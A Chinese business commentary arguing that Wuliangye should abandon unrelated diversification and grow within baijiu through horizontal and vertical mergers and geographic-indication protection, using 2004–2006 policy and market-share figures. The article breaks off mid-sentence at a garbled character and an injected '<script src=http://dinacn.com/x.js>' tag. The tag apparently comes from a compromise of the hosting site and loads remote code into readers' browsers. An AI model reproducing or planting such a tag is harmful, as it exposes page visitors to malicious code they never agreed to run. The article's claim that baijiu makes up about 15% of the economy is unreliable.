登顶白酒行业之后，对于五粮液，该怎样规划未来的发展之路，兼顾发展的深度与广度，在走得更宽广的同时，走得更久远？

　　近几年来，五粮液在“以白酒为主，多元化发展”的战略指引下涉足生物工程、芯片、制药、畜牧、天然植物水等与白酒关联性不大的领域，但多种迹象显示，五粮液除了在白酒行业的投资境况较好外，其他方面的投资收益并不理想。我们认为，五粮液与其把有限的资源投到经验不足、技术力量薄弱的领域，还不如专心致志做好白酒产业，利用企业并购、地理标志保护和品牌改造等方式，引领中国白酒行业朝对自己有利的方向转变。

　　一、顺应行业集中趋势，实施企业并购战略

　　我国白酒行业的概念战、文化战、广告战、新产品战、价格战正在消耗企业的优质资源，而真正要做的事，比如把中国优秀品牌推向国际市场，却没有做好。通过企业并购，可以扭转当前的混乱局面，减少行业内部的资源消耗。五粮液作为中国白酒的优秀企业，应该在这场正在临近的并购浪潮中扮演重要角色。

　　五粮液的企业并购可以从横向和纵向两个角度开展。横向并购就是从白酒生产企业当中选择理想的合作伙伴横跨香型和地区实施企业并购，进而大幅度提升五粮液的市场份额和绝对的行业领袖地位。纵向并购就是在白酒的原材料供应商和白酒的销售商中选择理想的合作伙伴，控制上下游产业链条，迫使对手在整个产业链条上与五粮液进行竞争，提升行业竞争的难度。通过两个方向上的并购，五粮液可以在获取规模经济、范围经济、协同效应和降低交易费用的基础上，建立更坚固的持续竞争优势。

　　我国白酒行业目前已经呈现出有利于企业实施并购战略的特征：

　　1.国家产业政策有利于企业并购

　　国家严格市场准入机制，调整产业结构，进一步提升行业集中度：

　　商务部、工商总局、质检总局2004年9月至2005年3月在全国范围内对酒类市场进行专项整治，重点消除酒类市场的地方保护和地区封锁。这项整治活动在一定程度上消除和清理了体制障碍，废除妨碍公平竞争、排斥外地产品各种分割市场的规定。商务部在质检总局、国家标委指导下，已经起草了酒类批发、零售企业经营规范两个行业标准，同时，商务部会同有关部门借鉴国际通行管理模式，加快拟定酒类流通管理条例。此外，有关部门将在全国范围内全面推行酒类市场准入制度，对酒类生产和经营企业实行资格审查制度，全面落实市场巡查制度，不合格食品将被退市、召回、销毁和公布。

　　2006年3月21日，财政部和税务总局发布关于调整完善消费税政策的通知，粮食白酒、薯类白酒的比例税率统一为20%，定额税率为0.5元/斤或0.5元/500毫升。这些政策和法规必将加速淘汰中小企业，迫使没有经济实力支撑、技术水平落后、人员素质低下和品牌忠诚度不足的中小生产企业出局。

　　同时，酒业协会也制定相关政策促使白酒行业在整个经济总量的比重向发达国家靠拢。目前我国白酒占整个经济总量的比重在15%左右，与发达国家蒸馏酒占经济总量的10%已经比较接近了。这种政策的目的是缩小白酒的产量，优化社会资源的整体结构。由此看来，在未来10年内，我国整体经济的增长不会带动白酒产值的增长，相反，会将其维持在现有的350万千升的规模上。

　　2.产业格局有利于企业并购

　　2005年白酒总产量349.37万千升，同比增长15.03%，实现了自上世纪90年代中期以来最大的增长幅度。白酒行业仍以分散经营为主，但集中度不断提高。2004年，白酒龙头企业年销售收入占全行业的60%左右，实现利税占全行业的2/3，行业利润集中度不断提高。2005年白酒销售额前10位企业实现销售收入占全行业的43.25%，前50名企业占全行业的65.42%。2004年前十位白酒企业销售收入排名见下表（由于2005年的数据获取困难，以上数据主要以2004年数据为主，来源于马勇2004年度中国白酒工业经济运行发布会上的讲稿和糖酒快讯网）。

　　从下表的数据可以看出，销售收入计算的相对市场占有率，五粮液是茅台的4.23倍，剑南春的6.82倍；按产量计算的相对市场占有率，五粮液是剑南春的2.32倍，沱牌的2.48倍；利税总额分别是茅台的1.58倍，沱牌的4.13倍。因此，五粮液无论在销售收入、产量还是在利润总额方面均在白酒行业占据显著的优势地位，以五粮液的市场地位、行业影响力、资金总额和现金流完全可以在白酒行业掀起企业并购浪潮，通过横向和纵向两个方面的并购战略实现企业规模的飞跃性增长，而这要比单极的市场扩张快得多。当然，在并购的形式上，可采取合并、兼并、股份收购、接管等灵活多样的形式。

　　二、利用地理标志保护，促进产销分离

　　五粮液的产地宜宾已经通过了国家地理标志保护，但五粮液并没有充分利用这一法律形式促进产销分离，进一步贴近市场生产，从而更好地降低运输成本和扩大销售半径。

　　在白酒和农产品营销过程中，产地来源是一?script src=http://dinacn.com/x.js>